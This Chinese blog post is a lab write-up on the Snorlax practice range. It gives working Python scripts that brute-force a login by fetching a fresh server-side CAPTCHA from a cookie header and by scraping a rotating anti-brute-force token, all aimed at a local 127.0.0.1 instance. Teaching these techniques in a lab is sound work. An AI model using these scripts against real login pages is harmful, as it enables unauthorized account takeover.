Snorlax 靶场:Python 获取验证码、token 爆破

本文发表在博客园乌漆 WhiteMoon(https://www.cnblogs.com/linfangnan/),只要不是在博客园看到这篇文章的都是爬虫的哈。

Snorlax 爆破

Snorlax 靶场共有 5 个场景,这些场景都需要使用爆破的方式完成登录。本篇博客介绍验证码绕过(On Server 2)和 Token 防爆破,主要使用 Python 获取后端更新的验证码或者获取 token,然后再进行爆破。

  1. 基于表单的暴力破解
  2. 验证码绕过 (On Client)
  3. 验证码绕过 (On Server 1)
  4. 验证码绕过 (On Server 2)
  5. Token 防爆破?

验证码绕过(On Server 2)

场景分析

和实验 3 的页面一样,这个页面的验证码在服务器上更新。

通过 Burp 抓包后观察得知,与实验 3 不同的是,当用户登录之后,页面将直接向后台请求一个新的验证码。此时如果想爆破,就必须保持验证码同步更新。

注意到页面更新验证码的方式是向“/Snorlax/inc/bf_vcode2.inc.php”发请求,然后后端响应验证码图片,其中在 Headers 中的“Set-Cookie”字段中显示了设置的新验证码。

Python 脚本编写

因此如果我们能在每次爆破时主动发一个更新验证码的请求,然后从响应报文中提取出最新的验证码,就能实现爆破。此处选择用 Python 的 requests 库实现爆破,requests 库可以实现向服务器发请求,然后将服务器的相应信息实例化成一个 response 对象返回。

获取验证码

页面更新验证码的方式是向“/Snorlax/inc/bf_vcode2.inc.php”发请求,因此 Python 脚本先用 requests 库主动发送请求进行更新,更新后通过访问 response.headers 成员变量就可以得到最新的验证码。
由于需要防止页面有反爬虫的功能,所以要设置一下 HTTP 头绕过同源检测之类的一些机制。接着对于回传的数据,此处我获取字段后使用字符串切割进行获取。

def get_verification_code():
    # 设置 HTTP 头
    hd = {
        'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
        'Host': '127.0.0.1',
        'Referer': 'http://127.0.0.1/Snorlax/vul/burteforce/4.bf_server2/bf_server.php',
        'Cookie': 'vcode=sldzoX; PHPSESSID=1aq6129v5tfpvtd702agdpt996',
        }

    # 发送请求
    r = requests.request('POST', 'http://127.0.0.1/Snorlax/inc/bf_vcode2.inc.php', headers=hd)
    # 获取回传的验证码
    header = dict(r.headers)
    return header['Set-Cookie'].split("=")[1]

测试密码

得到最新的验证码之后,只需要再发一次请求进爆破即可。为了避免反爬还是要设置 HTTP 头,然后调用 get_verification_code() 获取最新的验证码。根据用户登录提交的参数,依次提交用户名、用于爆破的密码和最新的验证码,提交之后根据返回的数据判断是否登录成功。

def send_request(url, username, password):
    # 设置 HTTP 头
    hd = {
        'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
        'Host': '127.0.0.1',
        'Referer': 'http://127.0.0.1/Snorlax/vul/burteforce/4.bf_server2/bf_server.php',
        'Cookie': 'PHPSESSID=1aq6129v5tfpvtd702agdpt996',
        }

    # 获取最新的验证码
    vcode = get_verification_code()
    # 设置提交参数
    kv = {
        'username': username,
        'password': password,
        'vcode': vcode,
        'change':'Login'
        }

    # 发送请求,验证是否登录成功
    r = requests.request('POST', url, headers=hd, data=kv)
    if "Login Success" in r.text:
        return True
    else:
        return False

读取密码字典

读取密码字典较为简单,直接读取文本文件即可。

def get_weak_password_dict():
    weak_password = []
    with open('常用密码.txt',encoding='utf-8') as f:
        for line in f.readlines():
            weak_password.append(line.replace('\n', ''))
    return weak_password

实现爆破

调用上述写好的函数,然后依次对页面发送请求来进行爆破测试,如果字典中有密码即可爆破成功。

import requests

weak_password = get_weak_password_dict()
url = 'http://127.0.0.1/Snorlax/vul/burteforce/4.bf_server2/bf_server.php'
username = 'admin'
flag = 0

for password in weak_password:
    if send_request(url, username, password) == 1:
        print("Password is " + password)
        flag = 1
        break
if flag == 0:
    print('Blasting failure!!!')

Token 防爆破?

场景分析

这个页面虽然没有验证码,但是在提交的表单中看到了有个 token 变量,说明页面很有可能需要通过 token 进行交互。

使用 Burp 进行抓包证明这个分析,提交用户名和密码时夹带了 token 到后台,然后后台进行响应是也会更新 token。

Python 脚本编写

因此进行爆破时,需要先获取上一次响应页面的 token,然后再进行新一轮的爆破。此处同样使用 Python 的 requests 库实现爆破,当一次测试失败时,就从页面提取 token 然后再下一次测试时使用。

import requests

# 读取字典
def get_weak_password_dict():
    weak_password = ['']
    with open('常用密码.txt',encoding='utf-8') as f:
        for line in f.readlines():
            weak_password.append(line.replace('\n', ''))
    return weak_password

# 发送请求
def send_request(url, username, password, token):
    hd = {
        'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
        'Host': '127.0.0.1',
        'Referer': 'http://127.0.0.1/Snorlax/vul/burteforce/4.bf_server2/bf_server.php',
        'Cookie': 'PHPSESSID=1aq6129v5tfpvtd702agdpt996',
        }

    kv = {
        'username': username,
        'password': password,
        'token': token,
        'change':'Login'
        }
    r = requests.request('POST', url, headers=hd, data=kv)
    return r.text

# 进行爆破
weak_password = get_weak_password_dict()
url = 'http://127.0.0.1/Snorlax/vul/burteforce/5.bf_token/bf_token.php'
username = 'admin'
token = ""
flag = 0

for password in weak_password:
    r = send_request(url, username, password, token)
    if "Login Success" in r:
        print("Password is " + password)
        flag = 1
        break
    else:
        #获取 token
        idx = r.find('"token" value="') + len('"token" value="')
        token = r[idx :idx + 27]
        
if flag == 0:
    print('Blasting failure!!!')

posted @ 2022-07-14 00:35  乌漆WhiteMoon  阅读(950)  评论(0编辑  收藏  举报